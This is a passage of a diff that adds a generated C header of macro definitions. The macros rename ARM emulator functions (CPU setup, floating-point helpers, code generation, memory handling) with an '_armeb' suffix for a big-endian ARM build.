all_helpers_armeb +#define alloc_code_gen_buffer alloc_code_gen_buffer_armeb +#define alloc_entry alloc_entry_armeb +#define always_true always_true_armeb +#define arm1026_initfn arm1026_initfn_armeb +#define arm1136_initfn arm1136_initfn_armeb +#define arm1136_r2_initfn arm1136_r2_initfn_armeb +#define arm1176_initfn arm1176_initfn_armeb +#define arm11mpcore_initfn arm11mpcore_initfn_armeb +#define arm926_initfn arm926_initfn_armeb +#define arm946_initfn arm946_initfn_armeb +#define arm_ccnt_enabled arm_ccnt_enabled_armeb +#define arm_cp_read_zero arm_cp_read_zero_armeb +#define arm_cp_reset_ignore arm_cp_reset_ignore_armeb +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_armeb +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_armeb +#define arm_cpu_finalizefn arm_cpu_finalizefn_armeb +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_armeb +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_armeb +#define arm_cpu_initfn arm_cpu_initfn_armeb +#define arm_cpu_list arm_cpu_list_armeb +#define cpu_loop_exit cpu_loop_exit_armeb +#define arm_cpu_post_init arm_cpu_post_init_armeb +#define arm_cpu_realizefn arm_cpu_realizefn_armeb +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_armeb +#define arm_cpu_register_types arm_cpu_register_types_armeb +#define cpu_resume_from_signal cpu_resume_from_signal_armeb +#define arm_cpus arm_cpus_armeb +#define arm_cpu_set_pc arm_cpu_set_pc_armeb +#define arm_cp_write_ignore arm_cp_write_ignore_armeb +#define arm_current_el arm_current_el_armeb +#define arm_dc_feature arm_dc_feature_armeb +#define arm_debug_excp_handler arm_debug_excp_handler_armeb +#define arm_debug_target_el arm_debug_target_el_armeb +#define arm_el_is_aa64 arm_el_is_aa64_armeb +#define arm_env_get_cpu arm_env_get_cpu_armeb +#define arm_excp_target_el arm_excp_target_el_armeb +#define arm_excp_unmasked arm_excp_unmasked_armeb +#define arm_feature arm_feature_armeb +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_armeb +#define gen_intermediate_code gen_intermediate_code_armeb +#define gen_intermediate_code_pc gen_intermediate_code_pc_armeb +#define arm_gen_test_cc arm_gen_test_cc_armeb +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_armeb +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_armeb +#define arm_handle_psci_call arm_handle_psci_call_armeb +#define arm_is_psci_call arm_is_psci_call_armeb +#define arm_is_secure arm_is_secure_armeb +#define arm_is_secure_below_el3 arm_is_secure_below_el3_armeb +#define arm_ldl_code arm_ldl_code_armeb +#define arm_lduw_code arm_lduw_code_armeb +#define arm_log_exception arm_log_exception_armeb +#define arm_reg_read arm_reg_read_armeb +#define arm_reg_reset arm_reg_reset_armeb +#define arm_reg_write arm_reg_write_armeb +#define restore_state_to_opc restore_state_to_opc_armeb +#define arm_rmode_to_sf arm_rmode_to_sf_armeb +#define arm_singlestep_active arm_singlestep_active_armeb +#define tlb_fill tlb_fill_armeb +#define tlb_flush tlb_flush_armeb +#define tlb_flush_page tlb_flush_page_armeb +#define tlb_set_page tlb_set_page_armeb +#define arm_translate_init arm_translate_init_armeb +#define arm_v7m_class_init arm_v7m_class_init_armeb +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_armeb +#define ats_access ats_access_armeb +#define ats_write ats_write_armeb +#define bad_mode_switch bad_mode_switch_armeb +#define bank_number bank_number_armeb +#define bitmap_zero_extend bitmap_zero_extend_armeb +#define bp_wp_matches bp_wp_matches_armeb +#define breakpoint_invalidate breakpoint_invalidate_armeb +#define build_page_bitmap build_page_bitmap_armeb +#define bus_add_child bus_add_child_armeb +#define bus_class_init bus_class_init_armeb +#define bus_info bus_info_armeb +#define bus_unparent bus_unparent_armeb +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_armeb +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_armeb +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_armeb +#define call_recip_estimate call_recip_estimate_armeb +#define can_merge can_merge_armeb +#define capacity_increase capacity_increase_armeb +#define ccsidr_read ccsidr_read_armeb +#define check_ap check_ap_armeb +#define check_breakpoints check_breakpoints_armeb +#define check_watchpoints check_watchpoints_armeb +#define cho cho_armeb +#define clear_bit clear_bit_armeb +#define clz32 clz32_armeb +#define clz64 clz64_armeb +#define cmp_flatrange_addr cmp_flatrange_addr_armeb +#define code_gen_alloc code_gen_alloc_armeb +#define commonNaNToFloat128 commonNaNToFloat128_armeb +#define commonNaNToFloat16 commonNaNToFloat16_armeb +#define commonNaNToFloat32 commonNaNToFloat32_armeb +#define commonNaNToFloat64 commonNaNToFloat64_armeb +#define commonNaNToFloatx80 commonNaNToFloatx80_armeb +#define compute_abs_deadline compute_abs_deadline_armeb +#define cond_name cond_name_armeb +#define configure_accelerator configure_accelerator_armeb +#define container_get container_get_armeb +#define container_info container_info_armeb +#define container_register_types container_register_types_armeb +#define contextidr_write contextidr_write_armeb +#define core_log_global_start core_log_global_start_armeb +#define core_log_global_stop core_log_global_stop_armeb +#define core_memory_listener core_memory_listener_armeb +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_armeb +#define cortex_a15_initfn cortex_a15_initfn_armeb +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_armeb +#define cortex_a8_initfn cortex_a8_initfn_armeb +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_armeb +#define cortex_a9_initfn cortex_a9_initfn_armeb +#define cortex_m3_initfn cortex_m3_initfn_armeb +#define count_cpreg count_cpreg_armeb +#define countLeadingZeros32 countLeadingZeros32_armeb +#define countLeadingZeros64 countLeadingZeros64_armeb +#define cp_access_ok cp_access_ok_armeb +#define cpacr_write cpacr_write_armeb +#define cpreg_field_is_64bit cpreg_field_is_64bit_armeb +#define cp_reginfo cp_reginfo_armeb +#define cpreg_key_compare cpreg_key_compare_armeb +#define cpreg_make_keylist cpreg_make_keylist_armeb +#define cp_reg_reset cp_reg_reset_armeb +#define cpreg_to_kvm_id cpreg_to_kvm_id_armeb +#define cpsr_read cpsr_read_armeb +#define cpsr_write cpsr_write_armeb +#define cptype_valid cptype_valid_armeb +#define cpu_abort cpu_abort_armeb +#define cpu_arm_exec cpu_arm_exec_armeb +#define cpu_arm_gen_code cpu_arm_gen_code_armeb +#define cpu_arm_init cpu_arm_init_armeb +#define cpu_breakpoint_insert cpu_breakpoint_insert_armeb +#define cpu_breakpoint_remove cpu_breakpoint_remove_armeb +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_armeb +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_armeb +#define cpu_can_do_io cpu_can_do_io_armeb +#define cpu_can_run cpu_can_run_armeb +#define cpu_class_init cpu_class_init_armeb +#define cpu_common_class_by_name cpu_common_class_by_name_armeb +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_armeb +#define cpu_common_get_arch_id cpu_common_get_arch_id_armeb +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_armeb +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_armeb +#define cpu_common_has_work cpu_common_has_work_armeb +#define cpu_common_initfn cpu_common_initfn_armeb +#define cpu_common_noop cpu_common_noop_armeb +#define cpu_common_parse_features cpu_common_parse_features_armeb +#define cpu_common_realizefn cpu_common_realizefn_armeb +#define cpu_common_reset cpu_common_reset_armeb +#define cpu_dump_statistics cpu_dump_statistics_armeb +#define cpu_exec_init cpu_exec_init_armeb +#define cpu_flush_icache_range cpu_flush_icache_range_armeb +#define cpu_gen_init cpu_gen_init_armeb +#define cpu_get_clock cpu_get_clock_armeb +#define cpu_get_real_ticks cpu_get_real_ticks_armeb +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_armeb +#define cpu_handle_debug_exception cpu_handle_debug_exception_armeb +#define cpu_handle_guest_debug cpu_handle_guest_debug_armeb +#define cpu_inb cpu_inb_armeb +#define cpu_inl cpu_inl_armeb +#define cpu_interrupt cpu_interrupt_armeb +#define cpu_interrupt_handler cpu_interrupt_handler_armeb +#define cpu_inw cpu_inw_armeb +#define cpu_io_recompile cpu_io_recompile_armeb +#define cpu_is_stopped cpu_is_stopped_armeb +#define cpu_ldl_code cpu_ldl_code_armeb +#define cpu_ldub_code cpu_ldub_code_armeb +#define cpu_lduw_code cpu_lduw_code_armeb +#define cpu_memory_rw_debug cpu_memory_rw_debug_armeb +#define cpu_mmu_index cpu_mmu_index_armeb +#define cpu_outb cpu_outb_armeb +#define cpu_outl cpu_outl_armeb +#define cpu_outw cpu_outw_armeb +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_armeb +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_armeb +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_armeb +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_armeb +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_armeb +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_armeb +#define cpu_physical_memory_map cpu_physical_memory_map_armeb +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_armeb +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_armeb +#define cpu_physical_memory_rw cpu_physical_memory_rw_armeb +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_armeb +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_armeb +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_armeb +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_armeb +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_armeb +#define cpu_register cpu_register_armeb +#define cpu_register_types cpu_register_types_armeb +#define cpu_restore_state cpu_restore_state_armeb +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_armeb +#define cpu_single_step cpu_single_step_armeb +#define cpu_tb_exec cpu_tb_exec_armeb +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_armeb +#define cpu_to_be64 cpu_to_be64_armeb +#define cpu_to_le32 cpu_to_le32_armeb +#define cpu_to_le64 cpu_to_le64_armeb +#define cpu_type_info cpu_type_info_armeb +#define cpu_unassigned_access cpu_unassigned_access_armeb +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_armeb +#define cpu_watchpoint_insert cpu_watchpoint_insert_armeb +#define cpu_watchpoint_remove cpu_watchpoint_remove_armeb +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_armeb +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_armeb +#define crc32c_table crc32c_table_armeb +#define create_new_memory_mapping create_new_memory_mapping_armeb +#define csselr_write csselr_write_armeb +#define cto32 cto32_armeb +#define ctr_el0_access ctr_el0_access_armeb +#define ctz32 ctz32_armeb +#define ctz64 ctz64_armeb +#define dacr_write dacr_write_armeb +#define dbgbcr_write dbgbcr_write_armeb +#define dbgbvr_write dbgbvr_write_armeb +#define dbgwcr_write dbgwcr_write_armeb +#define dbgwvr_write dbgwvr_write_armeb +#define debug_cp_reginfo debug_cp_reginfo_armeb +#define debug_frame debug_frame_armeb +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_armeb +#define define_arm_cp_regs define_arm_cp_regs_armeb +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_armeb +#define define_debug_regs define_debug_regs_armeb +#define define_one_arm_cp_reg define_one_arm_cp_reg_armeb +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_armeb +#define deposit32 deposit32_armeb +#define deposit64 deposit64_armeb +#define deregister_tm_clones deregister_tm_clones_armeb +#define device_class_base_init device_class_base_init_armeb +#define device_class_init device_class_init_armeb +#define device_finalize device_finalize_armeb +#define device_get_realized device_get_realized_armeb +#define device_initfn device_initfn_armeb +#define device_post_init device_post_init_armeb +#define device_reset device_reset_armeb +#define device_set_realized device_set_realized_armeb +#define device_type_info device_type_info_armeb +#define disas_arm_insn disas_arm_insn_armeb +#define disas_coproc_insn disas_coproc_insn_armeb +#define disas_dsp_insn disas_dsp_insn_armeb +#define disas_iwmmxt_insn disas_iwmmxt_insn_armeb +#define disas_neon_data_insn disas_neon_data_insn_armeb +#define disas_neon_ls_insn disas_neon_ls_insn_armeb +#define disas_thumb2_insn disas_thumb2_insn_armeb +#define disas_thumb_insn disas_thumb_insn_armeb +#define disas_vfp_insn disas_vfp_insn_armeb +#define disas_vfp_v8_insn disas_vfp_v8_insn_armeb +#define do_arm_semihosting do_arm_semihosting_armeb +#define do_clz16 do_clz16_armeb +#define do_clz8 do_clz8_armeb +#define do_constant_folding do_constant_folding_armeb +#define do_constant_folding_2 do_constant_folding_2_armeb +#define do_constant_folding_cond do_constant_folding_cond_armeb +#define do_constant_folding_cond2 do_constant_folding_cond2_armeb +#define do_constant_folding_cond_32 do_constant_folding_cond_32_armeb +#define do_constant_folding_cond_64 do_constant_folding_cond_64_armeb +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_armeb +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_armeb +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_armeb +#define do_ssat do_ssat_armeb +#define do_usad do_usad_armeb +#define do_usat do_usat_armeb +#define do_v7m_exception_exit do_v7m_exception_exit_armeb +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_armeb +#define dummy_func dummy_func_armeb +#define dummy_section dummy_section_armeb +#define _DYNAMIC _DYNAMIC_armeb +#define _edata _edata_armeb +#define _end _end_armeb +#define end_list end_list_armeb +#define eq128 eq128_armeb +#define ErrorClass_lookup ErrorClass_lookup_armeb +#define error_copy error_copy_armeb +#define error_exit error_exit_armeb +#define error_get_class error_get_class_armeb +#define error_get_pretty error_get_pretty_armeb +#define error_setg_file_open error_setg_file_open_armeb +#define estimateDiv128To64 estimateDiv128To64_armeb +#define estimateSqrt32 estimateSqrt32_armeb +#define excnames excnames_armeb +#define excp_is_internal excp_is_internal_armeb +#define extended_addresses_enabled extended_addresses_enabled_armeb +#define extended_mpu_ap_bits extended_mpu_ap_bits_armeb +#define extract32 extract32_armeb +#define extract64 extract64_armeb +#define extractFloat128Exp extractFloat128Exp_armeb +#define extractFloat128Frac0 extractFloat128Frac0_armeb +#define extractFloat128Frac1 extractFloat128Frac1_armeb +#define extractFloat128Sign extractFloat128Sign_armeb +#define extractFloat16Exp extractFloat16Exp_armeb +#define extractFloat16Frac extractFloat16Frac_armeb +#define extractFloat16Sign extractFloat16Sign_armeb +#define extractFloat32Exp extractFloat32Exp_armeb +#define extractFloat32Frac extractFloat32Frac_armeb +#define extractFloat32Sign extractFloat32Sign_armeb +#define extractFloat64Exp extractFloat64Exp_armeb +#define extractFloat64Frac extractFloat64Frac_armeb +#define extractFloat64Sign extractFloat64Sign_armeb +#define extractFloatx80Exp extractFloatx80Exp_armeb +#define extractFloatx80Frac extractFloatx80Frac_armeb +#define extractFloatx80Sign extractFloatx80Sign_armeb +#define fcse_write fcse_write_armeb +#define find_better_copy find_better_copy_armeb +#define find_default_machine find_default_machine_armeb +#define find_desc_by_name find_desc_by_name_armeb +#define find_first_bit find_first_bit_armeb +#define find_paging_enabled_cpu find_paging_enabled_cpu_armeb +#define find_ram_block find_ram_block_armeb +#define find_ram_offset find_ram_offset_armeb +#define find_string find_string_armeb +#define find_type find_type_armeb +#define _fini _fini_armeb +#define flatrange_equal flatrange_equal_armeb +#define flatview_destroy flatview_destroy_armeb +#define flatview_init flatview_init_armeb +#define flatview_insert flatview_insert_armeb +#define flatview_lookup flatview_lookup_armeb +#define flatview_ref flatview_ref_armeb +#define flatview_simplify flatview_simplify_armeb +#define flatview_unref flatview_unref_armeb +#define float128_add float128_add_armeb +#define float128_compare float128_compare_armeb +#define float128_compare_internal float128_compare_internal_armeb +#define float128_compare_quiet float128_compare_quiet_armeb +#define float128_default_nan float128_default_nan_armeb +#define float128_div float128_div_armeb +#define float128_eq float128_eq_armeb +#define float128_eq_quiet float128_eq_quiet_armeb +#define float128_is_quiet_nan float128_is_quiet_nan_armeb +#define float128_is_signaling_nan float128_is_signaling_nan_armeb +#define float128_le float128_le_armeb +#define float128_le_quiet float128_le_quiet_armeb +#define float128_lt float128_lt_armeb +#define float128_lt_quiet float128_lt_quiet_armeb +#define float128_maybe_silence_nan float128_maybe_silence_nan_armeb +#define float128_mul float128_mul_armeb +#define float128_rem float128_rem_armeb +#define float128_round_to_int float128_round_to_int_armeb +#define float128_scalbn float128_scalbn_armeb +#define float128_sqrt float128_sqrt_armeb +#define float128_sub float128_sub_armeb +#define float128ToCommonNaN float128ToCommonNaN_armeb +#define float128_to_float32 float128_to_float32_armeb +#define float128_to_float64 float128_to_float64_armeb +#define float128_to_floatx80 float128_to_floatx80_armeb +#define float128_to_int32 float128_to_int32_armeb +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_armeb +#define float128_to_int64 float128_to_int64_armeb +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_armeb +#define float128_unordered float128_unordered_armeb +#define float128_unordered_quiet float128_unordered_quiet_armeb +#define float16_default_nan float16_default_nan_armeb +#define float16_is_quiet_nan float16_is_quiet_nan_armeb +#define float16_is_signaling_nan float16_is_signaling_nan_armeb +#define float16_maybe_silence_nan float16_maybe_silence_nan_armeb +#define float16ToCommonNaN float16ToCommonNaN_armeb +#define float16_to_float32 float16_to_float32_armeb +#define float16_to_float64 float16_to_float64_armeb +#define float32_abs float32_abs_armeb +#define float32_add float32_add_armeb +#define float32_chs float32_chs_armeb +#define float32_compare float32_compare_armeb +#define float32_compare_internal float32_compare_internal_armeb +#define float32_compare_quiet float32_compare_quiet_armeb +#define float32_default_nan float32_default_nan_armeb +#define float32_div float32_div_armeb +#define float32_eq float32_eq_armeb +#define float32_eq_quiet float32_eq_quiet_armeb +#define float32_exp2 float32_exp2_armeb +#define float32_exp2_coefficients float32_exp2_coefficients_armeb +#define float32_is_any_nan float32_is_any_nan_armeb +#define float32_is_infinity float32_is_infinity_armeb +#define float32_is_neg float32_is_neg_armeb +#define float32_is_quiet_nan float32_is_quiet_nan_armeb +#define float32_is_signaling_nan float32_is_signaling_nan_armeb +#define float32_is_zero float32_is_zero_armeb +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_armeb +#define float32_le float32_le_armeb +#define float32_le_quiet float32_le_quiet_armeb +#define float32_log2 float32_log2_armeb +#define float32_lt float32_lt_armeb +#define float32_lt_quiet float32_lt_quiet_armeb +#define float32_max float32_max_armeb +#define float32_maxnum float32_maxnum_armeb +#define float32_maxnummag float32_maxnummag_armeb +#define float32_maybe_silence_nan float32_maybe_silence_nan_armeb +#define float32_min float32_min_armeb +#define float32_minmax float32_minmax_armeb +#define float32_minnum float32_minnum_armeb +#define float32_minnummag float32_minnummag_armeb +#define float32_mul float32_mul_armeb +#define float32_muladd float32_muladd_armeb +#define float32_rem float32_rem_armeb +#define float32_round_to_int float32_round_to_int_armeb +#define float32_scalbn float32_scalbn_armeb +#define float32_set_sign float32_set_sign_armeb +#define float32_sqrt float32_sqrt_armeb +#define float32_squash_input_denormal float32_squash_input_denormal_armeb +#define float32_sub float32_sub_armeb +#define float32ToCommonNaN float32ToCommonNaN_armeb +#define float32_to_float128 float32_to_float128_armeb +#define float32_to_float16 float32_to_float16_armeb +#define float32_to_float64 float32_to_float64_armeb +#define float32_to_floatx80 float32_to_floatx80_armeb +#define float32_to_int16 float32_to_int16_armeb +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_armeb +#define float32_to_int32 float32_to_int32_armeb +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_armeb +#define float32_to_int64 float32_to_int64_armeb +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_armeb +#define float32_to_uint16 float32_to_uint16_armeb +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_armeb +#define float32_to_uint32 float32_to_uint32_armeb +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_armeb +#define float32_to_uint64 float32_to_uint64_armeb +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_armeb +#define float32_unordered float32_unordered_armeb +#define float32_unordered_quiet float32_unordered_quiet_armeb +#define float64_abs float64_abs_armeb +#define float64_add float64_add_armeb +#define float64_chs float64_chs_armeb +#define float64_compare float64_compare_armeb +#define float64_compare_internal float64_compare_internal_armeb +#define float64_compare_quiet float64_compare_quiet_armeb +#define float64_default_nan float64_default_nan_armeb +#define float64_div float64_div_armeb +#define float64_eq float64_eq_armeb +#define float64_eq_quiet float64_eq_quiet_armeb +#define float64_is_any_nan float64_is_any_nan_armeb +#define float64_is_infinity float64_is_infinity_armeb +#define float64_is_neg float64_is_neg_armeb +#define float64_is_quiet_nan float64_is_quiet_nan_armeb +#define float64_is_signaling_nan float64_is_signaling_nan_armeb +#define float64_is_zero float64_is_zero_armeb +#define float64_le float64_le_armeb +#define float64_le_quiet float64_le_quiet_armeb +#define float64_log2 float64_log2_armeb +#define float64_lt float64_lt_armeb +#define float64_lt_quiet float64_lt_quiet_armeb +#define float64_max float64_max_armeb +#define float64_maxnum float64_maxnum_armeb +#define float64_maxnummag float64_maxnummag_armeb +#define float64_maybe_silence_nan float64_maybe_silence_nan_armeb +#define float64_min float64_min_armeb +#define float64_minmax float64_minmax_armeb +#define float64_minnum float64_minnum_armeb +#define float64_minnummag float64_minnummag_armeb +#define float64_mul float64_mul_armeb +#define float64_muladd float64_muladd_armeb +#define float64_rem float64_rem_armeb +#define float64_round_to_int float64_round_to_int_armeb +#define float64_scalbn float64_scalbn_armeb +#define float64_set_sign float64_set_sign_armeb +#define float64_sqrt float64_sqrt_armeb +#define float64_squash_input_denormal float64_squash_input_denormal_armeb +#define float64_sub float64_sub_armeb +#define float64ToCommonNaN float64ToCommonNaN_armeb +#define float64_to_float128 float64_to_float128_armeb +#define float64_to_float16 float64_to_float16_armeb +#define float64_to_float32 float64_to_float32_armeb +#define float64_to_floatx80 float64_to_floatx80_armeb +#define float64_to_int16 float64_to_int16_armeb +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_armeb +#define float64_to_int32 float64_to_int32_armeb +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_armeb +#define float64_to_int64 float64_to_int64_armeb +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_armeb +#define float64_to_uint16 float64_to_uint16_armeb +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_armeb +#define float64_to_uint32 float64_to_uint32_armeb +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_armeb +#define float64_to_uint64 float64_to_uint64_armeb +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_armeb +#define float64_trunc_to_int float64_trunc_to_int_armeb +#define float64_unordered float64_unordered_armeb +#define float64_unordered_quiet float64_unordered_quiet_armeb +#define float_raise float_raise_armeb +#define floatx80_add floatx80_add_armeb +#define floatx80_compare floatx80_compare_armeb +#define floatx80_compare_internal floatx80_compare_internal_armeb +#define floatx80_compare_quiet floatx80_compare_quiet_armeb +#define floatx80_default_nan floatx80_default_nan_armeb +#define floatx80_div floatx80_div_armeb +#define floatx80_eq floatx80_eq_armeb +#define floatx80_eq_quiet floatx80_eq_quiet_armeb +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_armeb +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_armeb +#define floatx80_le floatx80_le_armeb +#define floatx80_le_quiet floatx80_le_quiet_armeb +#define floatx80_lt floatx80_lt_armeb +#define floatx80_lt_quiet floatx80_lt_quiet_armeb +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_armeb +#define floatx80_mul floatx80_mul_armeb +#define floatx80_rem floatx80_rem_armeb +#define floatx80_round_to_int floatx80_round_to_int_armeb +#define floatx80_scalbn floatx80_scalbn_armeb +#define floatx80_sqrt floatx80_sqrt_armeb +#define floatx80_sub floatx80_sub_armeb +#define floatx80ToCommonNaN floatx80ToCommonNaN_armeb +#define floatx80_to_float128 floatx80_to_float128_armeb +#define floatx80_to_float32 floatx80_to_float32_armeb +#define floatx80_to_float64 floatx80_to_float64_armeb +#define floatx80_to_int32 floatx80_to_int32_armeb +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_armeb +#define floatx80_to_int64 floatx80_to_int64_armeb +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_armeb +#define floatx80_unordered floatx80_unordered_armeb +#define floatx80_unordered_quiet floatx80_unordered_quiet_armeb +#define flush_icache_range flush_icache_range_armeb +#define format_string format_string_armeb +#define fp_decode_rm fp_decode_rm_armeb +#define frame_dummy frame_dummy_armeb +#define free_range free_range_armeb +#define fstat64 fstat64_armeb +#define futex_wait futex_wait_armeb +#define futex_wake futex_wake_armeb +#define gen_aa32_ld16s gen_aa32_ld16s_armeb +#define gen_aa32_ld16u gen_aa32_ld16u_armeb +#define gen_aa32_ld32u gen_aa32_ld32u_armeb +#define gen_aa32_ld64 gen_aa32_ld64_armeb +#define gen_aa32_ld8s gen_aa32_ld8s_armeb +#define gen_aa32_ld8u gen_aa32_ld8u_armeb +#define gen_aa32_st16 gen_aa32_st16_armeb +#define gen_aa32_st32 gen_aa32_st32_armeb +#define gen_aa32_st64 gen_aa32_st64_armeb +#define gen_aa32_st8 gen_aa32_st8_armeb +#define gen_adc gen_adc_armeb +#define gen_adc_CC gen_adc_CC_armeb +#define gen_add16 gen_add16_armeb +#define gen_add_carry gen_add_carry_armeb +#define gen_add_CC gen_add_CC_armeb +#define gen_add_datah_offset gen_add_datah_offset_armeb +#define gen_add_data_offset gen_add_data_offset_armeb +#define gen_addq gen_addq_armeb +#define gen_addq_lo gen_addq_lo_armeb +#define gen_addq_msw gen_addq_msw_armeb +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_armeb +#define gen_arm_shift_im gen_arm_shift_im_armeb +#define gen_arm_shift_reg gen_arm_shift_reg_armeb +#define gen_bx gen_bx_armeb +#define gen_bx_im gen_bx_im_armeb +#define gen_clrex gen_clrex_armeb +#define generate_memory_topology generate_memory_topology_armeb +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_armeb +#define gen_exception gen_exception_armeb +#define gen_exception_insn gen_exception_insn_armeb +#define gen_exception_internal gen_exception_internal_armeb +#define gen_exception_internal_insn gen_exception_internal_insn_armeb +#define gen_exception_return gen_exception_return_armeb +#define gen_goto_tb gen_goto_tb_armeb +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_armeb +#define gen_helper_add_saturate gen_helper_add_saturate_armeb +#define gen_helper_add_setq gen_helper_add_setq_armeb +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_armeb +#define gen_helper_clz32 gen_helper_clz32_armeb +#define gen_helper_clz64 gen_helper_clz64_armeb +#define gen_helper_clz_arm gen_helper_clz_arm_armeb +#define gen_helper_cpsr_read gen_helper_cpsr_read_armeb +#define gen_helper_cpsr_write gen_helper_cpsr_write_armeb +#define gen_helper_crc32_arm gen_helper_crc32_arm_armeb +#define gen_helper_crc32c gen_helper_crc32c_armeb +#define gen_helper_crypto_aese gen_helper_crypto_aese_armeb +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_armeb +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_armeb +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_armeb +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_armeb +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_armeb +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_armeb +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_armeb +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_armeb +#define gen_helper_double_saturate gen_helper_double_saturate_armeb +#define gen_helper_exception_internal gen_helper_exception_internal_armeb +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_armeb +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_armeb +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_armeb +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_armeb +#define gen_helper_get_user_reg gen_helper_get_user_reg_armeb +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_armeb +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_armeb +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_armeb +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_armeb +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_armeb +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_armeb +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_armeb +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_armeb +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_armeb +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_armeb +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_armeb +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_armeb +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_armeb +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_armeb +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_armeb +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_armeb +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_armeb +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_armeb +#define 